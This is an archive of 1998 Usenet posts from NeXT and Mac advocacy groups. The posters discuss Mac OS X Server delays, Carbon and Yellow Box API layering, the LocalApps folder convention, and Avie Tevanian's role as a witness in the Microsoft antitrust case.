>> these platforms.
>
>In this case XVT is an API with different implementations that happen to
>wrap other APIs. Much the same way the MacOS Toolbox wraps the MacOS
>low-level code, and the same way Carbon will wrap BSD, Mach, and
>whatever else Apple intends to put beneath Carbon.
>
This is pure speculation, but I think it's more than obvious that if
Carbon apps should be able to communicate with YB apps (Drag 'n Drop,
Pasteboard, Workspace management) and if it should be possible to use
YB
objects inside a Carbon app, Carbon has to use at least a few YB
classes
under the hoot. Good candidates would be NSApplication (actually a
subclass
of it, which would turn the -[NSApplication sendEvent] method into a
NOP),
NSPasteboard (as the implementing object for the Scrap Manager),
NSWindow
(used in the Window Manager) and NSMenu (for the Menu Manager).
Although it would be possible to provide this services in a common
layer
beneath YB and Carbon, I don't see any advantage in unecessarily
duplicating
the code when it's already in YB.
Regards,
Planitzer Dietmar
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: Fri, 09 Oct 1998 16:16:37 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vlct5$n66$1@nnrp1.dejanews.com>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com>
In article <6vkvvk$886$1@wbnws01.ne.highway1.com>,
jkheit@mediaone.net wrote:
> I don't think there is any way around this. Mac OSX S is late. Originally
> it was due out before Sept., if memory serves. Then the date has been pushed
> up and up. And now we're in October, and the rumblings are year end.
It was due the end of September, and yes it is late.
> The big question is why. Is it due to problems, or additional feature sets
> that have been added. I'm guessing the latter, which makes the delay
> reasonable and understandable, but not the lack of any comment from Apple.
The best guess I've heard is to not conflict with the MacOS 8.5 release, but
it could be from problems finishing the feature set, nailing down a final set
of bugs, or whatever else, too.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The future's so bright I (hope) we have to wear shades
Date: Fri, 09 Oct 1998 00:22:04 -0500
Organization: Physics Department, University of Texas at Austin
Message-ID: <distler-0910980022050001@192.168.0.1>
References: <6vg10f$t3g$1@pascal.a2000.nl> <B241542D-BDD08@206.165.43.27> <6vha8l$71k@gazette.bcm.tmc.edu> <distler-0810980051360001@192.168.0.1> <361D0EB8.4104@earthlink.net>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
w83/\[@#\u?TVrF3fqDjK?
In article <361D0EB8.4104@earthlink.net>, skellener@earthlink.net wrote:
> > Under NextStep, nobody FORCES you to install apps under /LocalApps.
> > That is CONVENTION (and a good one, IMHO).
>
> Yes. I have never understood why Mac users' complaints about this.
> LocalApps is the conventions a s you said. It is still possible to
> install apps elswhere if so desired.
Well, there is a difference.
Install an application some random place on your hard drive. If that
directory is not in your default search path, then double-clicking on a
document in the Workspace will not launch the application.
NeXTStep does force you to be minimally-organized. If you want to install
applications in some non-standard location, then you have to add that
location to the default search path if you want everything to function
properly.
MacOS imposes no such restriction. You can install applications literally
anywhere, and double-clicking on a document will still work.
> Besides, look at any Macintosh HD
> and you'll usually find....guess what?.....an applications directory,
> and a utilities directory. Most people just tend to organize stuff that
> way. LoaclApps is not such a far leap to comprehend.
Who said it was?
The poster was complaining about poor organization -- applications
installed all over the Mac's hard drive. The remedy for this, however,
does not require an OS upgrade (nice though MacOS X may yet prove to be).
JD
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
From: toon@omnigroup.com (Greg Titus)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: 9 Oct 1998 16:09:13 GMT
Organization: Omni Development, Inc.
Message-ID: <6vlcf9$ckm$1@gaea.omnigroup.com>
References: <361A8410.B34ABC12@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> writes
> [...] The NRW is a
> better example, but since the basis for this example is one (two?)
> Paquette posting, I would hesitate to call it evidence for
> anything. There is no way to know anything about the NRW apart from
> what Mike Paquette has said.
I'm not sure if Apple still owns the old NeXT offices or whether all of
those people have now been moved, but for several years they had
(have?) an upstairs hallway full of machines running historic operating
system releases. At one end of the hall is NeXTSTEP pre-release 0.1
(0.5?) on a Sun (where the initial software development occured before
NeXT hardware existed), at the other end (when I was last there) was an
Intel PC running OpenStep 4.2.
Just about in the middle, after the NeXT hardware and before the Intel
port, is an NRW. Looks a lot like a NeXT slab, and I have had the
opportunity to play around on it with built-in apps like BoinkOut,
Edit, et cetera. They also had a custom CPU monitor app that showed
load on each CPU.
It was a very fast and incredibly responsive machine. Who knows, if you
get to know someone at Apple well enough and head down there, you might
be able to see it yourself.
> Apple has nearly no experience in SMP.
Even after saying all of the above, I would still agree with you on
this point, at least in comparison to companies like IBM, Sun, SGI,
Dec, etc. If you compare to the Wintel world though, I'm not so sure.
--Greg
--
Greg Titus
Omni Development Inc.
greg@omnigroup.com
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: 9 Oct 1998 16:49:49 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdf3a3$25edc440$06387880@chewy>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote
> I don't think there is any way around this. Mac OSX S is late.
...
> The big question is why.
Time for the conspiracy theories. :-) (please take as *fun* only)
o New features. Boring, but not unreasonable. We've heard rumors of MacOS
8.5 serving as the BlueBox. If that is the case, they obviously can't
release OSXS before releasing 8.5.
o Technical problems. Possible, and if so, unsettling. However, I doubt
this given how rock solid it was even a year ago, much less the release
last spring.
o Timing. Jobs is trying to space out the timing of the big events to keep
up a steady drum beat of good news. Just as the excitement as iMac slows,
8.5 is to be released. Let the light shine on it for a few weeks, and then
release OSXS.
o Maximize profits. Wait until lots of people have purchased 8.5, and then
release OSXS for them to buy. In short, get lots of people to buy two
operating systems.
o Its too darn good. If the public really new how good OSXS was, no one
would want to buy 8.5 as a stand alone product.
Todd
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Fri, 09 Oct 1998 09:47:00 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0910980947000001@news>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <andyba-ya02408000R0810981035110001@news> <361D1042.39E7@earthlink.net>
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In article <361D1042.39E7@earthlink.net>, skellener@earthlink.net wrote:
> Andy Bates wrote:
>
> > Less than one year late for the Premier release, but only a few months late
> > for the Unified release. Doesn't seem too bad.
>
> Yes it is bad if you are not a developer and have been waiting to use
> the damn thing forever!
Well, for $500 (is that right?) you can become a developer and get Mac OS X
Server for free, plus beta version of other system software. Considering
that OS X Server will probably be at least $250, it looks like a good deal
to me!
Andy Bates.
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Avie! Avie! Avie!
Date: 9 Oct 1998 17:06:34 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdf3a5$7d07ab90$06387880@chewy>
References: <6vl939$69u@shelob.afs.com>
Greg Anderson <greg@afs.com> wrote
> I wonder if his testimony will be limited to Apple matters?
I suspect so. There has been the story recently circulating about
Microsoft offering Apple help in some market segments if Apple pulled
QuickTime out of the Windows market.
Andrew Laurence <atlauren@uci.edu> wrote
> IIRC, when Avie left (graduated?) Carnegie Mellon, he was
> personally courted by both Jobs and Gates.
Wasn't Rick Rashid, now the Vice President Microsoft Research, one of
Avie's dissertation advisors at CMU? Note the reference to NeXT is
Rashid's bio at Microsoft :-)
http://www.research.microsoft.com/~rashid/
Todd
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: 8 Oct 98 15:09:56 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B242864D-27406@206.165.43.131>
References: <6vjbp4$equ$1@fleetstreet.Austria.EU.net>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.advocacy
Dietmar Planitzer <dave.pl@ping.at> said:
>
>Although it would be possible to provide this services in a common
>layer
>beneath YB and Carbon, I don't see any advantage in unecessarily
>duplicating
>the code when it's already in YB.
That would make sense under MacOS X, but there must be some kind of GX-like
solution for MacOS 8.x.
In fact, the AATSUI API has been described as "object-based like GX is," so
I assume that this is what they've done: implement a procedural interface
to NSText under MacOS X and implement a stand-alone library for AATSUI
under MacOS 8.x, both of which instantiate objects behind the scenes.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Fri, 09 Oct 1998 17:43:25 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vlhvt$vqk$1@nnrp1.dejanews.com>
References: <6vedtf$6o1$1@pascal.a2000.nl> <B240587C-26E50@206.165.43.170> <6vg0gd$s3d$1@pascal.a2000.nl> <6vgf9d$fv4$1@nnrp1.dejanews.com> <6vgioe$8j5$1@pascal.a2000.nl> <6vils3$urk$1@nnrp1.dejanews.com> <6vl4pg$rss$1@pascal.a2000.nl>
In article <6vl4pg$rss$1@pascal.a2000.nl>,
"Pascal Haakmat" <ahaakmat@MAPSON.cable.a2000.nl> wrote:
> In article <6vils3$urk$1@nnrp1.dejanews.com> , "Charles Swiger"
> <chuck@codefab.com> wrote:
>> Someone with a classic MacOS app doesn't have to "port" to Carbon. They
>> simply have to clean up the crufty non-portable stuff and possibly use some
>> updated Carbon replacement calls in place of older Toolbox routines that are
>> now being deprecated.
>
> So you are saying by using Carbon, software can be developed without testing
> it?
Umm, no...nor do I see where you came up with that, either.
>>As I said to someone else in email, the type and amount of work involved is
>>more comparible to moving from an K&R-based C program to ANSI.
>
> Possibly, I am not that well informed. I think you probably are wrong,
> because Carbon is a runtime environment and C is a language.
Carbon is a set of API's which programs may use which are intended to be more
portable than the current MacOS toolbox calls.
> Nevertheless, question yourselves this: how would you go about moving a
> K&R C program to ANSI, when there are no ANSI compilers? This is how I
> perceive the Carbon situation.
Certainly it'd be difficult.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Avie! Avie! Avie!
Newsgroups: comp.sys.next.advocacy
References: <6vl939$69u@shelob.afs.com> <atlauren-0910980858130001@jungleland.acs.uci.edu>
Message-ID: <361e53fb.0@news.depaul.edu>
Date: 9 Oct 98 18:20:43 GMT
Andrew Laurence <atlauren@uci.edu> wrote:
> case, one imagines it very likely that Avie was in the meeting in which
> the alleged proposal to limit QuickTime was allegedly floated.
I think the Wall Street Journal mentioned that he was there.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Fri, 09 Oct 1998 18:29:20 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vlkm0$4k1$1@nnrp1.dejanews.com>
References: <6vedtf$6o1$1@pascal.a2000.nl> <B240587C-26E50@206.165.43.170> <6vg0gd$s3d$1@pascal.a2000.nl> <6vgf9d$fv4$1@nnrp1.dejanews.com> <6vgioe$8j5$1@pascal.a2000.nl> <6vils3$urk$1@nnrp1.dejanews.com> <361CE373.485E019C@ericsson.com> <6vj9vq$u5o$1@nnrp1.dejanews.com> <361E2785.E3AF7755@ericsson.com>
In article <361E2785.E3AF7755@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> wrote:
> Charles Swiger wrote:
>> That's an interesting point, but notice that XVT calls and the native calls
>> are at the same level of functionality-- ie, both have routines which create
>> windows, dialog boxes, and so forth. However, Carbon and Mach are not on the
>> same level.
>
> In this definition, then, the key is the level of abstraction at which
> the thing operates? I can see many cases in which something would be
> called a "wrapper"; I'm not sure what the criteria would be for the
> definition you're describing.
What I think of as a wrapper needs to be at the same level of abstraction as
the thing being wrapped, yes. It seems evident that not everything is a
wrapper, which means that normal composition of API's on top of each other
does not make every API a wrapper.
For example, under OPENSTEP, you've got the AppKit (say NSApplication) which
inherits from and calls things in Foundation (NSObject), which uses standard C
library functions (malloc() for a -init method), which in turn uses low-level
system calls (Mach vm_allocate()). The abstraction boundaries can be made
clear because a cleanly defined lower layer will not call layers above it, nor
does one need to know the lower-level API's in order to use the higher-level
API's.
The standard C library functions will never call objects in Foundation. But
the AppKit and Foundation are at the same level of abstraction-- you can't do
things with AppKit objects without knowing Foundation.
Still, some of the std C library calls are wrappers to underlying system calls
provided by the kernel-- things like open().
>> Is Qt at the same level as Win32 or X11?
>
> For the most part. Obviously, an API like Qt can only perform a subset
> of those things which Win32 and X11 perform at the same "level", since
> it must implement them through Win32 and X11. However, like the OpenStep
> libraries, it implements many things not implemented in Win32 or X11 at
> a similar but different "level". It's tricky to say, though, because the
> Win32 API is comprehensive and contains many "levels" (much the way you
> describe the OpenStep APIs below).
That's a good point-- Win32 is a big beast, and I'm not particularly familiar
with everything in it.
[ ... ]
> I can see where you're going, though, and I don't think I was looking at
> it that way when I first posted. I think my problem was the XVT example:
> is XVT somehow at a different "level" than Win32 and X11?
I think XVT is at the same level as the Motif layer of X11, or the drawing
layer of Win32.
> GLUT is a highly simplified way of creating windows and menus, and thus
> could be called a wrapper; but, it's also capable of performing OpenGL
> calls with simplified commands, and is also an interface to OpenGL.
Is GLUT at the same level as OpenGL, or does it ride above? It sounds like it
rides above and is not a wrapper.
> In this case, even though it can be said to be a "wrapper" of many things,
> it's not as clear-cut. I think your original post tended to overgeneralize.
Probably-- but I wasn't trying to come up with a definition of "wrapper" in
that post. I just wanted to point out some of the properties wrappers exhibit
and contrast them to what Carbon is (will be?) doing.
[And as I understand it, of course.]
[ ... ]
> I shouldn't have generalized by including all of the OpenStep APIs. By
> your definition, then, you are being consistent. It's just difficult to
> distinguish, by this definition, between APIs that simply call other
> APIs, and APIs that are "wrappers".
Wrappers tend to be pretty clear-- for example, it's very obvious that large
parts of Netscape's NSAPI are one-line functions (or macros) that directly
call UNIX C library API's-- things like net_read() to read(), MALLOC() to
malloc(), filebuf_open() to open(). If you can simply rename functions and
not even have to change the arguments, it's a wrapper.
If you have to call many functions in another API to replace a single call,
it's composition of layers and the two are at different levels.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: Fri, 9 Oct 1998 14:51:28 -0500
Organization: phenix@interpath.com
Message-ID: <1dgmy5e.1mom0ra1k4s48wN@roxboro0-051.dyn.interpath.net>
References: <3615835C.225B608D@nstar.net> <3615844F.3A485AD3@nstar.net> <EjuR1.314$Ar1.809141@news.rdc1.sdca.home.com> <3616b0bf.0@news.depaul.edu> <3616C5C2.5354F82@nstar.net> <6v8fbt$8lt@news1.panix.com> <3617CDBF.E5817D05@nstar.net> <6v9jqc$1jfi$1@piglet.cc.uic.edu> <6v9l1r$27uq$1@piglet.cc.uic.edu> <361862AC.B572DA9@nstar.net> <x7r9wnuymx.fsf@loathe.com> <3618D157.D7637EDE@nstar.net> <3618e783.0@news.depaul.edu> <x7n27aved2.fsf@loathe.com> <6vdjbo$5u1$1@nnrp1.dejanews.com> <1dghhq4.1hxaolk17qqkoqN@roxboro0-047.dyn.interpath.net> <361A8410.B34ABC12@ericsson.com> <6vlcf9$ckm$1@gaea.omnigroup.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b2
Greg Titus <toon@omnigroup.com> wrote:
> Michael Peck <Michael.Peck@ericsson.com> wrote:
> > Apple has nearly no experience in SMP.
>
> Even after saying all of the above, I would still agree with you on
> this point, at least in comparison to companies like IBM, Sun, SGI,
> Dec, etc. If you compare to the Wintel world though, I'm not so sure.
Well, what you are saying is close enough to what I think that I
wouldn't argue the fine points - but that's a good long ways away from
"Apple has *nothing* that". Note the emphasis was in the original, and
that's what I was responding to.
--
John Moreno
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The future's so bright I (hope) we have to wear shades
Date: Thu, 08 Oct 1998 20:13:01 +0100
Organization: EarthLink Network, Inc.
Message-ID: <361D0EB8.4104@earthlink.net>
References: <6vg10f$t3g$1@pascal.a2000.nl> <B241542D-BDD08@206.165.43.27> <6vha8l$71k@gazette.bcm.tmc.edu> <distler-0810980051360001@192.168.0.1>
Mime-Version: 1.0
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> Under NextStep, nobody FORCES you to install apps under /LocalApps.
> That is CONVENTION (and a good one, IMHO).
Yes. I have never understood why Mac users' complaints about this.
LocalApps is the conventions a s you said. It is still possible to
install apps elswhere if so desired. Besides, look at any Macintosh HD
and you'll usually find....guess what?.....an applications directory,
and a utilities directory. Most people just tend to organize stuff that
way. LoaclApps is not such a far leap to comprehend.
Now where the hell is OS X Server?????
Steve
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 08 Oct 1998 10:44:05 -0500
Organization: Ericsson North America Inc.
Message-ID: <361CDDC5.B9006FDC@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <361A9F92.1D9F3A3@ericsson.com> <6vec6t$kjn$1@nnrp03.primenet.c <361BD074.B99A3712@ericsson.com> <6viinc$370@newsb.netnews.att.com>
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A few more quotes concerning the keynote, especially Apple's
committments to existing developers:
Article entitled "Keynote: Future OS to run System 7 apps":
"The nearly three-hour presentation promised preservation of current Mac
hardware and software while Apple makes a radical shift to new OS
technology from NeXT Software Inc.
"'We're creating a discontinuity,' Amelio said. 'We're creating a
dramatic shift that changes everything.' That shift will comprise a new
operating system, code-named Rhapsody, that includes both Mac OS 7.x and
NeXTstep running on a common microkernel.
"[...]
"'We're going to preserve your investment,' Amelio said. 'It will be a
little reminiscent of PowerPC and 680x0; I think Apple did that last
transition quite well. It can be done, and we're going to do it again.'
"[...]
"The first developer release of Rhapsody is expected in mid-1997, Apple
said; that version will be based on the Yellow Box - a set of NeXT
OpenStep APIs that will provide the essence of the new OS - but it will
not include Mac OS compatibility, Apple said. The first goal is to
quickly port Rhapsody's Yellow Box to the Mac and let developers start
writing programs, Apple said.
"[...]
"The first customer shipment of the OS, to be called Rhapsody Premier
Release, will be as compatible with Mac OS 7.x applications as Apple can
manage by the end of 1997, said Vito Salvaggio, product line manager for
Mac OS releases, in comments following Amelio's keynote."
[MJP: Yes, that says "customer shipment" by the end of 1997. So much for
giving the old plan "18 months". It looks to me like Apple failed the
old plan within six months by failing to ship the first developer
release by the mid-1997 date given above)
"[...]
"Apple said a version of Rhapsody that runs current Mac OS applications
will ship in mid-1998 - six months after the Premier Release. The
so-called "unified release" will implement the Blue Box, a Mac OS 7.x
compatibility mode. Amelio said this Blue Box will run software that
does not depend on or control specific hardware in the Mac..."
MJP
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: The future's so bright I (hope) we have to wear shades
Message-ID: <edewF0Kr58.1B7@netcom.com>
Sender: edew@netcom3.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6vha8l$71k@gazette.bcm.tmc.edu> <distler-0810980051360001@192.168.0.1> <361D0EB8.4104@earthlink.net>
Date: Fri, 9 Oct 1998 19:22:19 GMT
In article <361D0EB8.4104@earthlink.net> skellener@earthlink.net writes:
>> Under NextStep, nobody FORCES you to install apps under /LocalApps.
>> That is CONVENTION (and a good one, IMHO).
>
>Yes. I have never understood why Mac users' complaints about this.
>LocalApps is the conventions a s you said. It is still possible to
>install apps elswhere if so desired. Besides, look at any Macintosh HD
>and you'll usually find....guess what?.....an applications directory,
>and a utilities directory. Most people just tend to organize stuff that
>way. LoaclApps is not such a far leap to comprehend.
>
I always wondered, why is LocalApps called LocalApps, instead of GlobalApps.
To me, the apps in LocalApps are shared by all those on the network (or
have account on the machine), whereas apps in one's home directory are
private.
As for Macs and Windows, most people seem to just put the apps in Personal
or the HD or desktop or some other random directory. There's chaos in
them machines!
EDEW
From: tenbrook <wtenbrook@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X server delays
Date: Thu, 08 Oct 1998 23:14:22 -0700
Organization: EarthLink Network, Inc.
Message-ID: <361DA9BD.228D3E98@NOSPAM.earthlink.net>
References: <6vhtq2$r5o$1@nnrp1.dejanews.com> <alex-0810981011500001@cs48-149.austin.rr.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
To: Alex Kac <alex@WebIS.net>
Macintosh News Network reported on 10/8/98...
"One confidential source tells us that Mac OS X Server is due to be released in
early November (and was pushed back to avoid conflict with the Mac OS 8.5
release), noting that Mac OS 8.5 has been running succesfully in "transparent"
BlueBox environment under Mac OS X server."
This seems reasonable, but they can't delay too long since Apple PR has already
announced WebObjects 4 running on G3 for "early October" release, which seems to
need MacOS X Server to run as advertised.
Alex Kac wrote:
> In article <6vhtq2$r5o$1@nnrp1.dejanews.com>, Nepenthe@my-dejanews.com wrote:
>
> >could the delay in OSX Server be due to apple wishing to impliment a fully
> >functional Mac OS 8.5 blue box for its debut?
> >
> >does anyone consider this at all likely?
> >
>
> I'm hoping its because of user feedback of the monstrosity that became the
> "Yellow Finder". It was horrible, hard to use, and made me go to the
> command line for MOST things. About all it was good for was launching
> apps. I'm hoping they'll put in a good ol' Apple Mac OS X Finder in there.
>
> --
> Alex Kac
> Web Information Solutions CEO
> Dynamic Business Publishing - Everyware Alliance Member
> http://www.WebIS.net
_____________________________________________________________________
Warren TenBrook, Science Applications International Corporation (SAIC),
Pleasanton, CA
Patti TenBrook, East Bay Municipal Utility District (EBMUD), Oakland, CA
http://home.earthlink.net/~wtenbrook/
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: The future's so bright I (hope) we have to wear shades
Date: 8 Oct 1998 16:41:53 GMT
Organization: AOL http://www.aol.com
References: <6vha8l$71k@gazette.bcm.tmc.edu>
Message-ID: <19981008124153.04288.00004837@ng81.aol.com>
rick@mft.neusc.bcm.tmc.edu (Rick Gray) said (regarding Macs):
> I'd really like to be able to lpr a color PostScript
>file from a NeXT to the iMac and have it come out on the Epson, but as
>near as I can tell, that's not possible.
For my part, I would get GhostScript for the NeXT and connect the Epson to it
(if the Epson is supported of course), and then share it thusly. What I do
myself is create a .PDF of a file I want a color version of using Frank
Siegert's wonderful pStill.app <www.this.net/~frank>, copy that to my ThinkPad
using Samba and then print it using Acrobat Reader.
>4) Mail programs. We've played with a bunch; none are nearly as nice
>as NextMail.
Not sure if this can be made to run on a Mac, but take a look at
<www.postilion.org> since it's based on Tcl, it can be made to run if there's a
Mac Tcl/TK, right?
(and regarding Windows)
>1. ...I used the "help" part of Word to find out how to make an
>umlaut. No problem (although the help index was sorta goofy). I
>finished the handout and it looked pretty good. Next, they wanted
>some artwork for an advertisement and had started it in Publisher. I
>needed an umlaut there also, and thought "No problem; I now know how
>to do that". Wrong. Totally different method in a different
>Microsoft program.
Two work-arounds here, install a different keyboard, i.e. German or U.S.
International, or get a utility program like DEC's Compose (which no longer
works under Win9x), Accent Composer, shareware from <www.kovcomp.co.uk> is
workable, though not as nice as Compose.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Avie! Avie! Avie!
Message-ID: <edewF0KrAx.57K@netcom.com>
Sender: edew@netcom3.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6vl939$69u@shelob.afs.com>
Date: Fri, 9 Oct 1998 19:25:45 GMT
In article <6vl939$69u@shelob.afs.com> "Greg Anderson" <greg@afs.com> writes:
>The DOJ has decided to call Avie Tevanian as one of its ten witnesses in the
>Microsoft case:
>
>http://www.news.com/News/Item/0,4,27336,00.html?st.ne.ni.lh
>
>I wonder if his testimony will be limited to Apple matters? I thought he
>joined Apple after some of the events the DOJ is investigating. Maybe there
>was some funny business with Microsoft going back to NeXT days?
>
>James Gosling from Sun has also been substituted into the witness list. That
>strengthens the suspicion that Java will be a focus at the trial, too.
>
>Greg
>
Maybe Avie will tell about the time three MS goons told him,
"Iffa you-a joina NeXT aftah you-a getta yor PhD, we-a
break-a yor knees. Capiche?"
:-)
EDEW
From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The future's so bright I (hope) we have to wear shades
Date: Fri, 09 Oct 1998 13:30:15 -0700
Organization: Cygnus Solutions
Message-ID: <361E7257.CD28F5BB@cygnus.com>
References: <6vha8l$71k@gazette.bcm.tmc.edu> <distler-0810980051360001@192.168.0.1> <361D0EB8.4104@earthlink.net> <edewF0Kr58.1B7@netcom.com>
Mime-Version: 1.0
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Eric Dew wrote:
> I always wondered, why is LocalApps called LocalApps, instead of GlobalApps.
> To me, the apps in LocalApps are shared by all those on the network (or
> have account on the machine), whereas apps in one's home directory are
> private.
>
I believe it is in the trend of Unix systems where "/usr/local" is
applications installed on the machine for general use, but not provided
by the OS vendor (ie. local to this machine, not local to a user). In a
network environment, Local also sort of implies "local to our network".
GlobalApps would be sort of an implication about serving the apps to
people who aren't local.. like.. to the Internet at large. I don't know
of many sites that like to see random users from around the net running
apps locally on their machine. :-}
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball
pistols
the backward in \in shoulder rigs. Who cares if you win the game as
long
backward compatible\as you can John Woo as you dive over obstacles?" -
anon
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: The future's so bright I (hope) we have to wear shades
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6vha8l$71k@gazette.bcm.tmc.edu> <distler-0810980051360001@192.168.0.1> <361D0EB8.4104@earthlink.net> <edewF0Kr58.1B7@netcom.com>
Message-ID: <361ec48c.0@news.depaul.edu>
Date: 10 Oct 98 02:21:00 GMT
In comp.sys.next.advocacy Eric Dew <edew@netcom.com> wrote:
> I always wondered, why is LocalApps called LocalApps, instead of GlobalApps.
> To me, the apps in LocalApps are shared by all those on the network (or
> have account on the machine), whereas apps in one's home directory are
> private.
Your home directory may not be local.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Revisiting a Prediction (concerning < $1K machines)
Message-ID: <edewF0KtpJ.866@netcom.com>
Sender: edew@netcom3.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
Date: Fri, 9 Oct 1998 20:17:43 GMT
Several weeks ago, Sal Denaro and I posted some discussions on whether Apple
should product sub-$1K machines.
While this article is hardly peer reviewed for accuracy, it does say that
going sub-$1K is not a good bet:
http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/1998/10/09/BU62667.DTL
EDEW
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: iMac really so innovative?
Date: 9 Oct 1998 16:18:38 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdf39e$caa75c30$06387880@chewy>
From "Most Innovative Product: Apple iMac"
"The design of this all-in-one computer is truly genre-defining. In fact,
it's so unique, it commands a triple-take from most first-time viewers. The
iMac's form is almost a complete departure from computers of old."
http://cnet.com/Content/Reports/Special/Awards98/ss01.html
Is the iMac really revolutionary? I seem to recall the original Macintosh
was conceptually very similar. My first Mac (3rd computer) was an SE/30
(still my favorite computer of all time), and it was just as simple: plug
in the keyboard, mouse, and power - then turn it on.
OK, it wasn't transparent or colorful, but it was functional, easy, and
clean.
Todd
From: rick@mft.neusc.bcm.tmc.edu (Rick Gray)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The future's so bright I (hope) we have to wear shades
Date: 10 Oct 1998 09:34:12 GMT
Organization: Division of Neuroscience, Baylor College of Medicine,
Houston, TX
Message-ID: <6vn9mk$jr0@gazette.bcm.tmc.edu>
References: <361D0EB8.4104@earthlink.net> <edewF0Kr58.1B7@netcom.com> <361E7257.CD28F5BB@cygnus.com>
In article <361E7257.CD28F5BB@cygnus.com> John Rudd <jrudd@cygnus.com> writes:
